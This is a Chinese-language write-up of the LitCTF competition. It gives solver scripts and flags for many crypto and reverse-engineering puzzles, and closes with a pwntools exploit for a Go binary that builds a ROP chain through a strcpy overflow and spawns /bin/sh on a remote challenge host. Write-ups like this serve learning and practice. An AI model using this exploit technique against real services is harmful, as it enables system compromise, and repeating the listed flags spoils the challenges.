这个比赛有巨多的题,而且基本上都很简单,队里答疯了。其实没大意思,本来不想写了,可又没啥可写,这周也就干点这个,算是放松吧。
Crypto
1,HEX 略
2,梦想是红色的,略
3,原来你也玩原神
原神游戏的字体,找个图对照着
4,RSA签到,给了p,q的RSA略
5,yafu 可以用yafu分解略
6,factordb 可以用factordb分解略
7,P_leak
给了dp,直接用dp分解n
dp= 5892502924236878675675338970704766304539618343869489297045857272605067962848952532606770917225218534430490745895652561015493032055636004130931491316020329
n= 50612159190225619689404794427464916374543237300894011803225784470008992781409447214236779975896311093686413491163221778479739252804271270231391599602217675895446538524670610623369953168412236472302812808639218392319634397138871387898452935081756580084070333246950840091192420542761507705395568904875746222477
c= 39257649468514605476432946851710016346016992413796229928386230062780829495844059368939749930876895443279723032641876662714088329296631207594999580050131450251288839714711436117326769029649419789323982613380617840218087161435260837263996287628129307328857086987521821533565738409794866606381789730458247531619
def known_dp_e_n_get_p(dp, e, n):
for i in range(1, e):
if (dp*e-1)%i == 0:
if n%(((dp*e-1)//i)+1) == 0:
p = ((dp*e-1)//i)+1
print(i, p)
return p
p = known_dp_e_n_get_p(dp, e, n)
q = n//p
phi=(p-1)*(q-1)
d=inverse(e,phi)
m = pow(c,d,n)
long_to_bytes(m)
#{Prim3_1s_Le@k!!!!!}
8,easy_math
给了提示,两边乘p**5就消掉一个元,p^8-hint*p^5-n^5 == 0,直接用sage求解
hint = p**3-q**5
p = var('p')
f = p^8 - hint*p^5 -n^5
f.roots()
[(7321664971326604351487965655099805117568571010588695608389113791312918573783115429227542573780838065461696504325762281209452761930184231131129306271846427,
1)]
后边略
9,e的学问,
e=74与phi有公因子2,先将e/2再开方,用不着AMM啥的
from Crypto.Util.number import *
m=bytes_to_long(b'xxxxxx')
p=getPrime(256)
q=getPrime(256)
e=74
n=p*q
c=pow(m,e,n)
print("p=",p)
print("q=",q)
print("c=",c)
#----------------------------------
p= 86053582917386343422567174764040471033234388106968488834872953625339458483149
q= 72031998384560188060716696553519973198388628004850270102102972862328770104493
c= 3939634105073614197573473825268995321781553470182462454724181094897309933627076266632153551522332244941496491385911139566998817961371516587764621395810123
e=74
n = p*q
phi = (p-1)*(q-1)
gcd(e,phi)
d = invert(e//2,phi)
m2 = pow(c,d,n)
for i in range(10000):
v = iroot(m2+i*n,2)
if v[1]:
print(long_to_bytes(v[0]))
break
10,md5的破解
给了差4个字符的flag和md5值
from Crypto.Util.number import *
from hashlib import md5
from secret import flag
#flag全是由小写字母及数字组成
m=md5(flag).hexdigest()
print(flag[:13]+flag[15:18]+flag[19:34]+flag[35:38])
print(m)
# b'LitCTF{md5can??3de?rypt213thoughcr?sh}'
# 496603d6953a15846cd7cc476f146771
#----------------------------------
code = 'abcdefghijklmnopqrstuvwxyz0123456789'
for v1 in code:
for v2 in code:
for v3 in code:
for v4 in code:
flag = 'LitCTF{md5can'+v1+v2+'3de'+v3+'rypt213thoughcr'+v4+'sh}'
if md5(flag.encode()).hexdigest() == '496603d6953a15846cd7cc476f146771':
print(flag)
#{md5can123dexrypt213thoughcrpsh}
11,the same common
n1,n2有公因子略
12,LCG
用ideal求参,然后直接解
from Crypto.Util.number import *
from secret import flag
m = bytes_to_long(flag)
bit_len = m.bit_length()
a = getPrime(bit_len)
b = getPrime(bit_len)
p = getPrime(bit_len+1)
seed = m
result = []
for i in range(10):
seed = (a*seed+b)%p
result.append(seed)
print(result)
#-------------------------------
result = [699175025435513913222265085178805479192132631113784770123757454808149151697608216361550466652878, 193316257467202036043918706856603526262215679149886976392930192639917920593706895122296071643390, 1624937780477561769577140419364339298985292198464188802403816662221142156714021229977403603922943, 659236391930254891621938248429619132720452597526316230221895367798170380093631947248925278766506, 111407194162820942281872438978366964960570302720229611594374532025973998885554449685055172110829, 1415787594624585063605356859393351333923892058922987749824214311091742328340293435914830175796909, 655057648553921580727111809001898496375489870757705297406250204329094679858718932270475755075698, 1683427135823894785654993254138434580152093609545092045940376086714124324274044014654085676620851, 492953986125248558013838257810313149490245209968714980288031443714890115686764222999717055064509, 70048773361068060773257074705619791938224397526269544533030294499007242937089146507674570192265]
P.<a,b> = PolynomialRing(ZZ)
f1 = result[0]*a + b -result[1]
f2 = result[1]*a + b -result[2]
f3 = result[2]*a + b -result[3]
f4 = result[3]*a + b -result[4]
F = [f1,f2,f3,f4]
Ideal = Ideal(F)
I = Ideal.groebner_basis()
a = 986530159877719733296635225640529561366767556493824000099219235964172766241619108087222617312244
b = 870938657193880294128565651406607770898428563752847152971563591919541221244067527759538812114120
p = 1801561804880339396804359757816074773828130767331147641125116098470498800324038784372773988752151
a = -a%p
b = -b%p
seed = (result[0]-b)*a^-1 % p
#{31fcd7832029a87f6c9f760fcf297b2f}
13,我测你VVA 略
14,Euler
这个是欧拉定理,m^(phi) = 1 (mod n)
给了c = pow(m,n-p-q+3,n) 转为phi = (p-1)(q-1)=n-p-q+1 所以原题等于c=pow(m,2,n)再由于m很小,直接开平方即可
15,where's P
给了提示a=pow(P,3,n),其中P=p>>340位,前边是小指数,由于P是1024-340=684位3次方后为2052位比n 2048位只从4位,爆破一下就行,后边是coppersmith攻击
n= 24479907029118467064460793139240403258697681144532146836881997837526487637306591893357774423547391867013441147680031968367449693796015901951120514250935018725570026327610524687128709707340727799633444550317834481416507364804274266363478822257132586592232042108076935945436358397787891169163821061005102693505011197453089873909085170776511350713452580692963748763166981047023704528272230392479728897831538235554137129584665886878574314566549330671483636900134584707867654841021494106881794644469229030140144595938886437242375435914268001721437309283611088568191856208951867342004280893021653793820874747638264412653721
c= 6566517934961780069851397787369134601399136324586682773286046135297104713708615112015588908759927424841719937322574766875308296258325687730658550956691921018605724308665345526807393669538103819281108643141723589363068859617542807984954436567078438099854340705208503317269397632214274507740533638883597409138972287275965697689862321166613821995226000320597560745749780942467497435742492468670016480112957715214640939272457886646483560443432985954141177463448896521810457886108311082101521263110578485768091003174683555938678346359150123350656418123918738868598042533211541966786594006129134087145798672161268647536724
a= 22184346235325197613876257964606959796734210361241668065837491428527234174610482874427139453643569493268653377061231169173874401139203757698022691973395609028489121048788465356158531144787135876251872262389742175830840373281181905217510352227396545981674450409488394636498629147806808635157820030290630290808150235068140864601098322473572121965126109735529553247807211711005936042322910065304489093415276688746634951081501428768318098925390576594162098506572668709475140964400043947851427774550253257759990959997691631511262768785787474750441024242552456956598974533625095249106992723798354594261566983135394923063605
e=65537
for i in range(0x1000):
v = iroot(a+i*n,3)
if v[1]:
print(v[0])
break
p0 = 66302204855869216148926460265779698576660998574555407124043768605865908069722142097621926304390549253688814246272903647124801382742681337653915017783954290069842646020090511605930590064443141710086879668946
PR.<x> = PolynomialRing(Zmod(n))
f = p0*2^340 +x
k = f.monic().small_roots(X=2^340, beta=0.4)
p = f(k[0])
q = int(n)//int(p)
16,Is this only base?
随波逐波直接整,23W栅栏再凯撒
17,隐晦的聊天记录
公共的xor加密,再加密一回
>>> c1 = bytes.fromhex('6c73d5240a948c86981bc294814d')
>>> m1 = b'attack at dawn'
>>> m2 = b'Monday or Thur'
>>> xor(c1,m1,m2).hex()
'4068cf2108868c889e1bf29d8351'
18,Virginia
词频quipquip略
19,baby-xor
给出了 c1 = p^m 这里m是32字符,头应该是知道,如果不算头的话coppersmith应该是正好不够用。去掉头就直接干行了
from Crypto.Util.number import *
from secret import flag
m = bytes_to_long(flag)
assert len(flag)==32
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 65537
c1 = p^m
c2 = pow(m,e,n)
print(f'n = {n}')
print(f'c1 = {c1}')
print(f'c2 = {c2}')
#-------------------------
n = 139167681803392690594490403105432649693546256181767408269202101512534988406137879788255103631885736461742577594980136624933914700779445704490217419248411578290305101891222576080645870988658334799437317221565839991979543660824098367011942169305111105129234902517835649895908656770416774539906212596072334423407
c1 = 11201139662236758800406931253538295757259990870588609533820056210585752522925690049252488581929717556881067021381940083808024384402885422258545946243513996
c2 = 112016152270171196606652761990170033221036025260883289104273504703557624964071464062375228351458191745141525003775876044271210498526920529385038130932141551598616579917681815276713386113932345056134302042399379895915706991873687943357627747262597883603999621939794450743982662393955266685255577026078256473601
e = 65537
t = bytes_to_long(b'LitCTF{')
ck = c1^^(t<<(25*8))
P.<x> = PolynomialRing(Zmod(n))
f = ck+x
a = f.monic().small_roots(X=2^200, beta=0.4)
p = f(a)
m = p^^c1
long_to_bytes(m)
#{oh!!!!coppersmith_is_fun}
20,忘了,略
后边3个编程题,一直看不明白他说的话是什么意思,随便写了两个也通过了,中间那个没弄明白,别人给了WP,就没做
REV
1,世界上最棒的程序员,略
2,ez_xor 略
3,enbase64
本来很简单的变表base64,不过要仔细
v3[0] = 16;
v3[1] = 34;
v3[2] = 56;
v3[3] = 7;
v3[4] = 46;
v3[5] = 2;
v3[6] = 10;
v3[7] = 44;
v3[8] = 20;
v3[9] = 41;
v3[10] = 59;
v3[11] = 31;
v3[12] = 51;
v3[13] = 60;
v3[14] = 61;
v3[15] = 26;
v3[16] = 5;
v3[17] = 40;
v3[18] = 21;
v3[19] = 38;
v3[20] = 4;
v3[21] = 54;
v3[22] = 52;
v3[23] = 47;
v3[24] = 3;
v3[25] = 11;
v3[26] = 58;
v3[27] = 48;
v3[28] = 32;
v3[29] = 15;
v3[30] = 49;
v3[31] = 14;
v3[32] = 37;
v3[34] = 55;
v3[35] = 53;
v3[36] = 24;
v3[37] = 35;
v3[38] = 18;
v3[39] = 25;
v3[40] = 33;
v3[41] = 43;
v3[42] = 50;
v3[43] = 39;
v3[44] = 12;
v3[45] = 19;
v3[46] = 13;
v3[47] = 42;
v3[48] = 9;
v3[49] = 17;
v3[50] = 28;
v3[51] = 30;
v3[52] = 23;
v3[53] = 36;
v3[54] = 1;
v3[55] = 22;
v3[56] = 57;
v3[57] = 63;
v3[58] = 8;
v3[59] = 27;
v3[60] = 6;
v3[61] = 62;
v3[62] = 45;
v3[63] = 29;
直接复制下来就错了,看好了少33
4,snake
pyc缺头补上以后反编译就行了
5,For Aiur
python的exe文件,解包后加头,这只是个主程序,看程序,里边调用ch.py,再从包里解出这个来就行了
enc = [
98, 77, 94, 91, 92, 107, 125, 66, 87, 70, 113, 92, 83, 70, 85, 81, 19, 21, 109, 99, 87, 107, 127, 65, 65, 64, 109, 87, 93, 90, 65, 64, 64, 65, 81, 3, 109, 85, 86, 80, 91, 64, 91, 91, 92, 0, 94, 107, 66, 77, 94, 91, 92, 71]
lis = []
def check(num):
flag = 'LitCTF{'
if num % 2 == 0:
if num % 4 == 0:
if num % 6 == 0:
if num % 8 == 0:
if num % 12 == 0:
if num % 13 == 11:
k = str(num)
for i in range(len(enc)):
flag += chr(ord(k[(i % len(k))]) ^ enc[i])
lis.append(ord(k[(i % len(k))]) ^ enc[i])
else:
flag += '}'
print(flag)
#----------------------------------
for i in range(13*13):
check(i)
6,程序和人有一个能跑就行
程序跑不了,看来看去是个RC4加密,不过有一句不对,花了点时间,后来拿原来的RC4对照,按RC4解就出来了,是个fake,真正的密文在这后边,因为没调用到ida就没有反编译
K = b'litctf'
#enc = [-115,108,-123,118,50,114,-73,64,-120,126,-107,-18,-59,-19,46,113,55,-15,74,-103,53,24,-89,-80,0,-106,-73]
#enc = [v&0xff for v in enc]
#真正的密文在后边,ida没有反编译
enc = [141, 108, 133, 118, 50, 114, 183, 67, 133, 123, 133, 222, 193, 251, 46, 100, 7, 200, 95, 154, 53, 24, 173, 181, 21, 146, 190, 27, 136]
#rc4,程序不正确,按rc4来解密
S = []
k = []
for i in range(256):
S.append(i)
k.append(K[i % len(K)])
j=0
for i in range(256):
j = (j + S[i] + k[i]) % 256
S[i], S[j] = S[j], S[i] # 交换S[i],S[j]
v9,v10,v14,result = 0,0,0,0
for i in range(len(enc)):
v10 = (v10 +1)&0xff
result = (result+1)&0xff
v11 = S[result]
v12 = v11
v9 = (v11 +v9)&0xff
S[result],S[v9] = S[v9],v11
v13 = v14
v14 = v10
enc[v13]^= S[(S[result]+v12)&0xff]
print(bytes(enc))
#LitCTF{this_is_a_fake_flag}
#LitCTF{welcome_to_the_litctf}
7,debase64
看代码,加密部分是base64的解码程序,但4个字符的顺序相反。最后提示是3个等于号,并且有md5值,最后一组直接爆破1个字符
a = bytes.fromhex('46ED1896569ED272B2B38070FF00')
b = b64encode(a)
b
md5(b+b'===').hexdigest()
Y0uReallyKn0wB4s/===
for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/':
a = 'Y0uReallyKn0wB4s'+i+'==='
if md5(a.encode()).hexdigest() == '5a3ebb487ad0046e52db00570339aace':
print(a)
#Y0uReallyKn0wB4s3===
PWN
1,2,3,略
4,ezlogin
这题go写的,删除全部符号,静态编译,本来想放弃了,溢出函数这块长度看不懂,后来队友说恢复是个strcpy,其实也不完全是,他还限制了长度,不过有这句就行了。
strcpy会在最后加个0,但是中间如果有0就会截断,所以复制payload的时候每次只能带1个0,需要从后向前写,反正次数没限制。等写完payload再写PASSWORD退出就行了
还有个小坑就是长度有限制,不是0x200,于是用最小ROP写了个read加移栈,就O了
from pwn import *
#p = process('./pwn5')
p = remote('node5.anna.nssctf.cn', 28750)
context(arch='amd64', log_level='debug')
elf = ELF('./pwn5')
#gdb.attach(p, 'b*0x400600\nc')
pop_rdi = 0x0000000000400706 # pop rdi ; ret
pop_rsi = 0x0000000000410043 # pop rsi ; ret
pop_rdx = 0x0000000000448c95 # pop rdx ; ret
pop_rax = 0x00000000004005af # pop rax ; ret
pop_rbp = 0x0000000000400b18 # pop rbp ; ret
leave_ret = 0x0000000000475b22 # leave ; ret
pop_rdx_rsi = 0x000000000044b249 # pop rdx ; pop rsi ; ret
syscall = 0x00000000004012bc # syscall
bss = 0x6bba60
pay = flat(pop_rdi, 0, pop_rdx_rsi, 0x100, bss, 0x448c80, pop_rbp, bss, leave_ret) # , , pop_rsi,0, pop_rax, 59, syscall
i = len(pay)-1
print(pay.hex(), i)
while i>=0:
if pay[i] == 0:
p.sendafter(b'password:\n', b"PASSWORD".ljust(0x108,b'A')+ b'B'*i)
i -= 1
else:
j = i
while pay[j] != 0:
j -=1
p.sendafter(b'password:\n', b"PASSWORD".ljust(0x108,b'A')+ b'B'*(j+1) + pay[j+1:i+1])
i = j
p.sendlineafter(b'Input your password:\n', b"PASSWORD\x00")
sleep(0.2)
p.sendline(b'/bin/sh\x00'+flat(pop_rdi, bss, pop_rsi,0, pop_rdx,0, pop_rax, 59, syscall))
p.interactive()